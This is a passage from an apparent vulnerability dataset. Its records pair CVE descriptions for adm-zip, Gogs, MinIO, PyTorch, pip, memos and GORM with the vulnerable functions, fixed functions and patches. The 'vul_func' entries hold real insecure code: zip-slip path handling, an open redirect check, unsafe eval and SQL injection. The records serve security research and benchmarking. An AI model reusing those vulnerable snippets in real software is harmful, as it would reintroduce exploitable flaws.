}\n                Utils.writeFileTo(pth.resolve(targetPath, entryName), content, overwrite);\n            })\n        },"}, {"id": "fix_js_242_3", "commit": "62f64004fefb894c523a7143e8a88ebe6c84df25", "file_path": "adm-zip.js", "start_line": 463, "end_line": 514, "snippet": "        extractAllToAsync : function(/*String*/targetPath, /*Boolean*/overwrite, /*Function*/callback) {\n            overwrite = overwrite || false;\n            if (!_zip) {\n                callback(new Error(Utils.Errors.NO_ZIP));\n                return;\n            }\n\n            var entries = _zip.entries;\n            var i = entries.length;\n            entries.forEach(function(entry) {\n                if(i <= 0) return; // Had an error already\n\n                entryName = entry.entryName.toString();\n\n                if(isWin){\n                    entryName = escapeFileName(entryName)\n                }\n\n                if(!pth.resolve(targetPath, entryName).startsWith(targetPath)) {\n                  throw Utils.Errors.INVALID_FILENAME + \": \" + entryName;\n                }\n\n                if (entry.isDirectory) {\n                    Utils.makeDir(pth.resolve(targetPath, entryName));\n                    if(--i == 0)\n                        callback(undefined);\n                    return;\n                }\n                entry.getDataAsync(function(content) {\n                    if(i <= 0) return;\n                    if (!content) {\n                        i = 0;\n                        callback(new Error(Utils.Errors.CANT_EXTRACT_FILE + \"2\"));\n                        return;\n                    }\n\n                    Utils.writeFileToAsync(pth.resolve(targetPath, entryName), content, overwrite, function(succ) {\n                        if(i <= 0) return;\n\n                        if(!succ) {\n                            i = 0;\n                            callback(new Error('Unable to write'));\n                            return;\n                        }\n\n                        if(--i == 0)\n                            callback(undefined);\n                    });\n\n                });\n            })\n        },"}], "vul_patch": "--- a/adm-zip.js\n+++ b/adm-zip.js\n@@ -16,6 +16,9 @@\n \n \n             var target = pth.resolve(targetPath, maintainEntryPath ? entryName : pth.basename(entryName));\n+            if(!target.startsWith(targetPath)) {\n+                throw Utils.Errors.INVALID_FILENAME + \": \" + entryName;\n+            }\n \n             if (item.isDirectory) {\n                 target = pth.resolve(target, \"..\");\n\n--- a/adm-zip.js\n+++ b/adm-zip.js\n@@ -7,6 +7,10 @@\n \n             _zip.entries.forEach(function(entry) {\n                 entryName = entry.entryName.toString();\n+\n+                if(!pth.resolve(targetPath, entryName).startsWith(targetPath)) {\n+                    throw Utils.Errors.INVALID_FILENAME + \": \" + entryName;\n+                }\n \n                 if(isWin){\n                     entryName = escapeFileName(entryName)\n\n--- a/adm-zip.js\n+++ b/adm-zip.js\n@@ -14,6 +14,10 @@\n \n                 if(isWin){\n                     entryName = escapeFileName(entryName)\n+                }\n+\n+                if(!pth.resolve(targetPath, entryName).startsWith(targetPath)) {\n+                  throw Utils.Errors.INVALID_FILENAME + \": \" + entryName;\n                 }\n \n                 if (entry.isDirectory) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-15178", "cve_description": "Open redirect vulnerability in Gogs before 0.12 allows remote attackers to redirect users to arbitrary websites and conduct phishing attacks via an initial /\\ substring in the user/login redirect_to parameter, related to the function isValidRedirect in routes/user/auth.go.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/1f247cf8139cb483276cd8dd06385a800ce9d4b2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_252_1", "commit": "c9bb33afc3ae35db21b26fd914bd80ca277a4e0d", "file_path": "routes/user/auth.go", "start_line": 78, "end_line": 80, "snippet": "func isValidRedirect(url string) bool {\n\treturn len(url) >= 2 && url[0] == '/' && url[1] != '/'\n}"}], "fix_func": [{"id": "fix_go_252_1", "commit": "1f247cf8139cb483276cd8dd06385a800ce9d4b2", "file_path": "routes/user/auth.go", "start_line": 78, "end_line": 80, "snippet": "func isValidRedirect(url string) bool {\n\treturn len(url) >= 2 && url[0] == '/' && url[1] != '/' && url[1] != '\\\\'\n}"}], "vul_patch": "--- a/routes/user/auth.go\n+++ b/routes/user/auth.go\n@@ -1,3 +1,3 @@\n func isValidRedirect(url string) bool {\n-\treturn len(url) >= 2 && url[0] == '/' && url[1] != '/'\n+\treturn len(url) >= 2 && url[0] == '/' && url[1] != '/' && url[1] != '\\\\'\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28434", "cve_description": "Minio is a Multi-Cloud Object Storage framework. Prior to RELEASE.2023-03-20T20-16-18Z, an attacker can use crafted requests to bypass metadata bucket name checking and put an object into any bucket while processing `PostPolicyBucket`. To carry out this attack, the attacker requires credentials with `arn:aws:s3:::*` permission, as well as enabled Console API access. This issue has been patched in RELEASE.2023-03-20T20-16-18Z. As a workaround, enable browser API access and turn off `MINIO_BROWSER=off`. \n", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/67f4ba154a27a1b06e48bfabda38355a010dfca5"], "programing_language": "Go", "vul_func": [{"id": "vul_go_270_1", "commit": "440ad20c1d00eb4dddd0dfa9c2994b09079f5d97", "file_path": "cmd/auth-handler.go", "start_line": 76, "end_line": 79, "snippet": "func isRequestPostPolicySignatureV4(r *http.Request) bool {\n\treturn strings.Contains(r.Header.Get(xhttp.ContentType), \"multipart/form-data\") &&\n\t\tr.Method == http.MethodPost\n}"}], "fix_func": [{"id": "fix_go_270_1", "commit": "67f4ba154a27a1b06e48bfabda38355a010dfca5", "file_path": "cmd/auth-handler.go", "start_line": 77, "end_line": 83, "snippet": "func isRequestPostPolicySignatureV4(r *http.Request) bool {\n\tmediaType, _, err := mime.ParseMediaType(r.Header.Get(xhttp.ContentType))\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn mediaType == \"multipart/form-data\" && r.Method == http.MethodPost\n}"}], "vul_patch": "--- a/cmd/auth-handler.go\n+++ b/cmd/auth-handler.go\n@@ -1,4 +1,7 @@\n func isRequestPostPolicySignatureV4(r *http.Request) bool {\n-\treturn strings.Contains(r.Header.Get(xhttp.ContentType), \"multipart/form-data\") &&\n-\t\tr.Method == http.MethodPost\n+\tmediaType, _, err := mime.ParseMediaType(r.Header.Get(xhttp.ContentType))\n+\tif err != nil {\n+\t\treturn false\n+\t}\n+\treturn mediaType == \"multipart/form-data\" && r.Method == http.MethodPost\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-45907", "cve_description": "In PyTorch before trunk/89695, torch.jit.annotations.parse_type_line can cause arbitrary code execution because eval is used unsafely.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pytorch/pytorch", "patch_url": ["https://github.com/pytorch/pytorch/commit/767f6aa49fe20a2766b9843d01e3b7f7793df6a3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_317_1", "commit": "fbbf368", "file_path": "torch/jit/annotations.py", "start_line": "147", "end_line": "170", "snippet": "def parse_type_line(type_line, rcb, loc):\n    \"\"\"Parses a type annotation specified as a comment.\n\n    Example inputs:\n        # type: (Tensor, torch.Tensor) -> Tuple[Tensor]\n        # type: (Tensor, Tuple[Tensor, Tensor]) -> Tensor\n    \"\"\"\n    arg_ann_str, ret_ann_str = split_type_line(type_line)\n\n    try:\n        arg_ann = eval(arg_ann_str, {}, EvalEnv(rcb))  # type: ignore[arg-type] # noqa: P204\n    except (NameError, SyntaxError) as e:\n        raise RuntimeError(\"Failed to parse the argument list of a type annotation\") from e\n\n    if not isinstance(arg_ann, tuple):\n        arg_ann = (arg_ann,)\n\n    try:\n        ret_ann = eval(ret_ann_str, {}, EvalEnv(rcb))  # type: ignore[arg-type] # noqa: P204\n    except (NameError, SyntaxError) as e:\n        raise RuntimeError(\"Failed to parse the return type of a type annotation\") from e\n\n    arg_types = [ann_to_type(ann, loc) for ann in arg_ann]\n    return arg_types, ann_to_type(ret_ann, loc)"}], "fix_func": [{"id": "fix_py_317_1", "commit": "767f6aa", "file_path": "torch/jit/annotations.py", "start_line": "157", "end_line": "180", "snippet": "def parse_type_line(type_line, rcb, loc):\n    \"\"\"Parses a type annotation specified as a comment.\n\n    Example inputs:\n        # type: (Tensor, torch.Tensor) -> Tuple[Tensor]\n        # type: (Tensor, Tuple[Tensor, Tensor]) -> Tensor\n    \"\"\"\n    arg_ann_str, ret_ann_str = split_type_line(type_line)\n\n    try:\n        arg_ann = _eval_no_call(arg_ann_str, {}, EvalEnv(rcb))\n    except (NameError, SyntaxError) as e:\n        raise RuntimeError(\"Failed to parse the argument list of a type annotation\") from e\n\n    if not isinstance(arg_ann, tuple):\n        arg_ann = (arg_ann,)\n\n    try:\n        ret_ann = _eval_no_call(ret_ann_str, {}, EvalEnv(rcb))\n    except (NameError, SyntaxError) as e:\n        raise RuntimeError(\"Failed to parse the return type of a type annotation\") from e\n\n    arg_types = [ann_to_type(ann, loc) for ann in arg_ann]\n    return arg_types, ann_to_type(ret_ann, loc)"}, {"id": "fix_py_317_2", "commit": "767f6aa", "file_path": "torch/jit/annotations.py", "start_line": "148", "end_line": "154", "snippet": "def _eval_no_call(stmt, glob, loc):\n    \"\"\"Evaluate statement as long as it does not contain any method/function calls\"\"\"\n    bytecode = compile(stmt, \"\", mode=\"eval\")\n    for insn in dis.get_instructions(bytecode):\n        if \"CALL\" in insn.opname:\n            raise RuntimeError(f\"Type annotation should not contain calls, but '{stmt}' does\")\n    return eval(bytecode, glob, loc)  # type: ignore[arg-type] # noqa: P204"}], "vul_patch": "--- a/torch/jit/annotations.py\n+++ b/torch/jit/annotations.py\n@@ -8,7 +8,7 @@\n     arg_ann_str, ret_ann_str = split_type_line(type_line)\n \n     try:\n-        arg_ann = eval(arg_ann_str, {}, EvalEnv(rcb))  # type: ignore[arg-type] # noqa: P204\n+        arg_ann = _eval_no_call(arg_ann_str, {}, EvalEnv(rcb))\n     except (NameError, SyntaxError) as e:\n         raise RuntimeError(\"Failed to parse the argument list of a type annotation\") from e\n \n@@ -16,7 +16,7 @@\n         arg_ann = (arg_ann,)\n \n     try:\n-        ret_ann = eval(ret_ann_str, {}, EvalEnv(rcb))  # type: ignore[arg-type] # noqa: P204\n+        ret_ann = _eval_no_call(ret_ann_str, {}, EvalEnv(rcb))\n     except (NameError, SyntaxError) as e:\n         raise RuntimeError(\"Failed to parse the return type of a type annotation\") from e\n \n\n--- /dev/null\n+++ b/torch/jit/annotations.py\n@@ -0,0 +1,7 @@\n+def _eval_no_call(stmt, glob, loc):\n+    \"\"\"Evaluate statement as long as it does not contain any method/function calls\"\"\"\n+    bytecode = compile(stmt, \"\", mode=\"eval\")\n+    for insn in dis.get_instructions(bytecode):\n+        if \"CALL\" in insn.opname:\n+            raise RuntimeError(f\"Type annotation should not contain calls, but '{stmt}' does\")\n+    return eval(bytecode, glob, loc)  # type: ignore[arg-type] # noqa: P204\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-5752", "cve_description": "When installing a package from a Mercurial VCS URL  (ie \"pip install \nhg+...\") with pip prior to v23.3, the specified Mercurial revision could\n be used to inject arbitrary configuration options to the \"hg clone\" \ncall (ie \"--config\"). Controlling the Mercurial configuration can modify\n how and which repository is installed. This vulnerability does not \naffect users who aren't installing from Mercurial.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pypa/pip", "patch_url": ["https://github.com/pypa/pip/commit/389cb799d0da9a840749fcd14878928467ed49b4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_336_1", "commit": "71df02c412998aa07c358ad04388e1573b3c5348", "file_path": "src/pip/_internal/vcs/mercurial.py", "start_line": 33, "end_line": 34, "snippet": "    def get_base_rev_args(rev: str) -> List[str]:\n        return [\"-r\", rev]"}], "fix_func": [{"id": "fix_py_336_1", "commit": "389cb799d0da9a840749fcd14878928467ed49b4", "file_path": "src/pip/_internal/vcs/mercurial.py", "start_line": 33, "end_line": 34, "snippet": "    def get_base_rev_args(rev: str) -> List[str]:\n        return [f\"-r={rev}\"]"}], "vul_patch": "--- a/src/pip/_internal/vcs/mercurial.py\n+++ b/src/pip/_internal/vcs/mercurial.py\n@@ -1,2 +1,2 @@\n     def get_base_rev_args(rev: str) -> List[str]:\n-        return [\"-r\", rev]\n+        return [f\"-r={rev}\"]\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-5036", "cve_description": "Cross-Site Request Forgery (CSRF) in GitHub repository usememos/memos prior to 0.15.1.", "cwe_info": {"CWE-352": {"name": "Cross-Site Request Forgery (CSRF)", "description": "The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. "}}, "repo": "https://github.com/usememos/memos", "patch_url": ["https://github.com/usememos/memos/commit/97b434722cf0abe3cfcad5ac9e3d520233bf1536"], "programing_language": "Go", "vul_func": [{"id": "vul_go_284_1", "commit": "b22d236b190694ec7b2f54675333640ffd5cfcce", "file_path": "plugin/http-getter/image.go", "start_line": 16, "end_line": 45, "snippet": "func GetImage(urlStr string) (*Image, error) {\n\tif _, err := url.Parse(urlStr); err != nil {\n\t\treturn nil, err\n\t}\n\n\tresponse, err := http.Get(urlStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\tmediatype, err := getMediatype(response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !strings.HasPrefix(mediatype, \"image/\") {\n\t\treturn nil, errors.New(\"Wrong image mediatype\")\n\t}\n\n\tbodyBytes, err := io.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\timage := &Image{\n\t\tBlob:      bodyBytes,\n\t\tMediatype: mediatype,\n\t}\n\treturn image, nil\n}"}], "fix_func": [{"id": "fix_go_284_1", "commit": "97b434722cf0abe3cfcad5ac9e3d520233bf1536", "file_path": "plugin/http-getter/image.go", "start_line": 18, "end_line": 52, "snippet": "func GetImage(urlStr string) (*Image, error) {\n\tif _, err := url.Parse(urlStr); err != nil {\n\t\treturn nil, err\n\t}\n\n\tresponse, err := http.Get(urlStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\tmediatype, err := getMediatype(response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !strings.HasPrefix(mediatype, \"image/\") {\n\t\treturn nil, errors.New(\"Wrong image mediatype\")\n\t}\n\n\tbodyBytes, err := io.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbodyBytes, err = SanitizeContent(bodyBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\timage := &Image{\n\t\tBlob:      bodyBytes,\n\t\tMediatype: mediatype,\n\t}\n\treturn image, nil\n}"}], "vul_patch": "--- a/plugin/http-getter/image.go\n+++ b/plugin/http-getter/image.go\n@@ -22,6 +22,11 @@\n \t\treturn nil, err\n \t}\n \n+\tbodyBytes, err = SanitizeContent(bodyBytes)\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\n \timage := &Image{\n \t\tBlob:      bodyBytes,\n \t\tMediatype: mediatype,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-15562", "cve_description": "GORM before 1.9.10 allows SQL injection via incomplete parentheses. NOTE: Misusing Gorm by passing untrusted user input where Gorm expects trusted SQL fragments is a vulnerability in the application, not in Gorm", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/jinzhu/gorm", "patch_url": ["https://github.com/jinzhu/gorm/commit/e3cc5ea4d403078a370e299629da56cd011b6583"], "programing_language": "Go", "vul_func": [{"id": "vul_go_130_1", "commit": "01b6601", "file_path": "scope.go", "start_line": 528, "end_line": 666, "snippet": "func (scope *Scope) buildCondition(clause map[string]interface{}, include bool) (str string) {\n\tvar (\n\t\tquotedTableName  = scope.QuotedTableName()\n\t\tquotedPrimaryKey = scope.Quote(scope.PrimaryKey())\n\t\tequalSQL         = \"=\"\n\t\tinSQL            = \"IN\"\n\t)\n\n\t// If building not conditions\n\tif !include {\n\t\tequalSQL = \"<>\"\n\t\tinSQL = \"NOT IN\"\n\t}\n\n\tswitch value := clause[\"query\"].(type) {\n\tcase sql.NullInt64:\n\t\treturn fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, quotedPrimaryKey, equalSQL, value.Int64)\n\tcase int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64:\n\t\treturn fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, quotedPrimaryKey, equalSQL, value)\n\tcase []int, []int8, []int16, []int32, []int64, []uint, []uint8, []uint16, []uint32, []uint64, []string, []interface{}:\n\t\tif !include && reflect.ValueOf(value).Len() == 0 {\n\t\t\treturn\n\t\t}\n\t\tstr = fmt.Sprintf(\"(%v.%v %s (?))\", quotedTableName, quotedPrimaryKey, inSQL)\n\t\tclause[\"args\"] = []interface{}{value}\n\tcase string:\n\t\tif isNumberRegexp.MatchString(value) {\n\t\t\treturn fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, quotedPrimaryKey, equalSQL, scope.AddToVars(value))\n\t\t}\n\n\t\tif value != \"\" {\n\t\t\tif !include {\n\t\t\t\tif comparisonRegexp.MatchString(value) {\n\t\t\t\t\tstr = fmt.Sprintf(\"NOT (%v)\", value)\n\t\t\t\t} else {\n\t\t\t\t\tstr = fmt.Sprintf(\"(%v.%v NOT IN (?))\", quotedTableName, scope.Quote(value))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstr = fmt.Sprintf(\"(%v)\", value)\n\t\t\t}\n\t\t}\n\tcase map[string]interface{}:\n\t\tvar sqls []string\n\t\tfor key, value := range value {\n\t\t\tif value != nil {\n\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, scope.Quote(key), equalSQL, scope.AddToVars(value)))\n\t\t\t} else {\n\t\t\t\tif !include {\n\t\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v IS NOT NULL)\", quotedTableName, scope.Quote(key)))\n\t\t\t\t} else {\n\t\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v IS NULL)\", quotedTableName, scope.Quote(key)))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn strings.Join(sqls, \" AND \")\n\tcase interface{}:\n\t\tvar sqls []string\n\t\tnewScope := scope.New(value)\n\n\t\tif len(newScope.Fields()) == 0 {\n\t\t\tscope.Err(fmt.Errorf(\"invalid query condition: %v\", value))\n\t\t\treturn\n\t\t}\n\t\tscopeQuotedTableName := newScope.QuotedTableName()\n\t\tfor _, field := range newScope.Fields() {\n\t\t\tif !field.IsIgnored && !field.IsBlank {\n\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v %s %v)\", scopeQuotedTableName, scope.Quote(field.DBName), equalSQL, scope.AddToVars(field.Field.Interface())))\n\t\t\t}\n\t\t}\n\t\treturn strings.Join(sqls, \" AND \")\n\tdefault:\n\t\tscope.Err(fmt.Errorf(\"invalid query condition: %v\", value))\n\t\treturn\n\t}\n\n\treplacements := []string{}\n\targs := clause[\"args\"].([]interface{})\n\tfor _, arg := range args {\n\t\tvar err error\n\t\tswitch reflect.ValueOf(arg).Kind() {\n\t\tcase reflect.Slice: // For where(\"id in (?)\", []int64{1,2})\n\t\t\tif scanner, ok := interface{}(arg).(driver.Valuer); ok {\n\t\t\t\targ, err = scanner.Value()\n\t\t\t\treplacements = append(replacements, scope.AddToVars(arg))\n\t\t\t} else if b, ok := arg.([]byte); ok {\n\t\t\t\treplacements = append(replacements, scope.AddToVars(b))\n\t\t\t} else if as, ok := arg.([][]interface{}); ok {\n\t\t\t\tvar tempMarks []string\n\t\t\t\tfor _, a := range as {\n\t\t\t\t\tvar arrayMarks []string\n\t\t\t\t\tfor _, v := range a {\n\t\t\t\t\t\tarrayMarks = append(arrayMarks, scope.AddToVars(v))\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(arrayMarks) > 0 {\n\t\t\t\t\t\ttempMarks = append(tempMarks, fmt.Sprintf(\"(%v)\", strings.Join(arrayMarks, \",\")))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif len(tempMarks) > 0 {\n\t\t\t\t\treplacements = append(replacements, strings.Join(tempMarks, \",\"))\n\t\t\t\t}\n\t\t\t} else if values := reflect.ValueOf(arg); values.Len() > 0 {\n\t\t\t\tvar tempMarks []string\n\t\t\t\tfor i := 0; i < values.Len(); i++ {\n\t\t\t\t\ttempMarks = append(tempMarks, scope.AddToVars(values.Index(i).Interface()))\n\t\t\t\t}\n\t\t\t\treplacements = append(replacements, strings.Join(tempMarks, \",\"))\n\t\t\t} else {\n\t\t\t\treplacements = append(replacements, scope.AddToVars(Expr(\"NULL\")))\n\t\t\t}\n\t\tdefault:\n\t\t\tif valuer, ok := interface{}(arg).(driver.Valuer); ok {\n\t\t\t\targ, err = valuer.Value()\n\t\t\t}\n\n\t\t\treplacements = append(replacements, scope.AddToVars(arg))\n\t\t}\n\n\t\tif err != nil {\n\t\t\tscope.Err(err)\n\t\t}\n\t}\n\n\tbuff := bytes.NewBuffer([]byte{})\n\ti := 0\n\tfor _, s := range str {\n\t\tif s == '?' && len(replacements) > i {\n\t\t\tbuff.WriteString(replacements[i])\n\t\t\ti++\n\t\t} else {\n\t\t\tbuff.WriteRune(s)\n\t\t}\n\t}\n\n\tstr = buff.String()\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_130_1", "commit": "e3cc5ea", "file_path": "scope.go", "start_line": 545, "end_line": 687, "snippet": "func (scope *Scope) buildCondition(clause map[string]interface{}, include bool) (str string) {\n\tvar (\n\t\tquotedTableName  = scope.QuotedTableName()\n\t\tquotedPrimaryKey = scope.Quote(scope.PrimaryKey())\n\t\tequalSQL         = \"=\"\n\t\tinSQL            = \"IN\"\n\t)\n\n\t// If building not conditions\n\tif !include {\n\t\tequalSQL = \"<>\"\n\t\tinSQL = \"NOT IN\"\n\t}\n\n\tswitch value := clause[\"query\"].(type) {\n\tcase sql.NullInt64:\n\t\treturn fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, quotedPrimaryKey, equalSQL, value.Int64)\n\tcase int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64:\n\t\treturn fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, quotedPrimaryKey, equalSQL, value)\n\tcase []int, []int8, []int16, []int32, []int64, []uint, []uint8, []uint16, []uint32, []uint64, []string, []interface{}:\n\t\tif !include && reflect.ValueOf(value).Len() == 0 {\n\t\t\treturn\n\t\t}\n\t\tstr = fmt.Sprintf(\"(%v.%v %s (?))\", quotedTableName, quotedPrimaryKey, inSQL)\n\t\tclause[\"args\"] = []interface{}{value}\n\tcase string:\n\t\tif isNumberRegexp.MatchString(value) {\n\t\t\treturn fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, quotedPrimaryKey, equalSQL, scope.AddToVars(value))\n\t\t}\n\n\t\tif value != \"\" {\n\t\t\tif !scope.IsCompleteParentheses(value) {\n\t\t\t\tscope.Err(fmt.Errorf(\"incomplete parentheses found: %v\", value))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !include {\n\t\t\t\tif comparisonRegexp.MatchString(value) {\n\t\t\t\t\tstr = fmt.Sprintf(\"NOT (%v)\", value)\n\t\t\t\t} else {\n\t\t\t\t\tstr = fmt.Sprintf(\"(%v.%v NOT IN (?))\", quotedTableName, scope.Quote(value))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstr = fmt.Sprintf(\"(%v)\", value)\n\t\t\t}\n\t\t}\n\tcase map[string]interface{}:\n\t\tvar sqls []string\n\t\tfor key, value := range value {\n\t\t\tif value != nil {\n\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v %s %v)\", quotedTableName, scope.Quote(key), equalSQL, scope.AddToVars(value)))\n\t\t\t} else {\n\t\t\t\tif !include {\n\t\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v IS NOT NULL)\", quotedTableName, scope.Quote(key)))\n\t\t\t\t} else {\n\t\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v IS NULL)\", quotedTableName, scope.Quote(key)))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn strings.Join(sqls, \" AND \")\n\tcase interface{}:\n\t\tvar sqls []string\n\t\tnewScope := scope.New(value)\n\n\t\tif len(newScope.Fields()) == 0 {\n\t\t\tscope.Err(fmt.Errorf(\"invalid query condition: %v\", value))\n\t\t\treturn\n\t\t}\n\t\tscopeQuotedTableName := newScope.QuotedTableName()\n\t\tfor _, field := range newScope.Fields() {\n\t\t\tif !field.IsIgnored && !field.IsBlank {\n\t\t\t\tsqls = append(sqls, fmt.Sprintf(\"(%v.%v %s %v)\", scopeQuotedTableName, scope.Quote(field.DBName), equalSQL, scope.AddToVars(field.Field.Interface())))\n\t\t\t}\n\t\t}\n\t\treturn strings.Join(sqls, \" AND \")\n\tdefault:\n\t\tscope.Err(fmt.Errorf(\"invalid query condition: %v\", value))\n\t\treturn\n\t}\n\n\treplacements := []string{}\n\targs := clause[\"args\"].([]interface{})\n\tfor _, arg := range args {\n\t\tvar err error\n\t\tswitch reflect.ValueOf(arg).Kind() {\n\t\tcase reflect.Slice: // For where(\"id in (?)\", []int64{1,2})\n\t\t\tif scanner, ok := interface{}(arg).(driver.Valuer); ok {\n\t\t\t\targ, err = scanner.Value()\n\t\t\t\treplacements = append(replacements, scope.AddToVars(arg))\n\t\t\t} else if b, ok := arg.([]byte); ok {\n\t\t\t\treplacements = append(replacements, scope.AddToVars(b))\n\t\t\t} else if as, ok := arg.([][]interface{}); ok {\n\t\t\t\tvar tempMarks []string\n\t\t\t\tfor _, a := range as {\n\t\t\t\t\tvar arrayMarks []string\n\t\t\t\t\tfor _, v := range a {\n\t\t\t\t\t\tarrayMarks = append(arrayMarks, scope.AddToVars(v))\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(arrayMarks) > 0 {\n\t\t\t\t\t\ttempMarks = append(tempMarks, fmt.Sprintf(\"(%v)\", strings.Join(arrayMarks, \",\")))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif len(tempMarks) > 0 {\n\t\t\t\t\treplacements = append(replacements, strings.Join(tempMarks, \",\"))\n\t\t\t\t}\n\t\t\t} else if values := reflect.ValueOf(arg); values.Len() > 0 {\n\t\t\t\tvar tempMarks []string\n\t\t\t\tfor i := 0; i < values.Len(); i++ {\n\t\t\t\t\ttempMarks = append(tempMarks, scope.AddToVars(values.Index(i).Interface()))\n\t\t\t\t}\n\t\t\t\treplacements = append(replacements, strings.Join(tempMarks, \",\"))\n\t\t\t} else {\n\t\t\t\treplacements = append(replacements, scope.AddToVars(Expr(\"NULL\")))\n\t\t\t}\n\t\tdefault:\n\t\t\tif valuer, ok := interface{}(arg).(driver.Valuer); ok {\n\t\t\t\targ, err = valuer.Value()\n\t\t\t}\n\n\t\t\treplacements = append(replacements, scope.AddToVars(arg))\n\t\t}\n\n\t\tif err != nil {\n\t\t\tscope.Err(err)\n\t\t}\n\t}\n\n\tbuff := bytes.NewBuffer([]byte{})\n\ti := 0\n\tfor _, s := range str {\n\t\tif s == '?' && len(replacements) > i {\n\t\t\tbuff.WriteString(replacements[i])\n\t\t\ti++\n\t\t} else {\n\t\t\tbuff.WriteRune(s)\n\t\t}\n\t}\n\n\tstr = buff.String()\n\n\treturn\n}"}, {"id": "fix_go_130_2", "commit": "e3cc5ea", "file_path": "scope.go", "start_line": 281, "end_line": 295, "snippet": "func (scope *Scope) IsCompleteParentheses(value string) bool {\n\tcount := 0\n\tfor i, _ := range value {\n\t\tif value[i] == 40 { // (\n\t\t\tcount++\n\t\t} else if value[i] == 41 { // )\n\t\t\tcount--\n\t\t}\n\t\tif count < 0 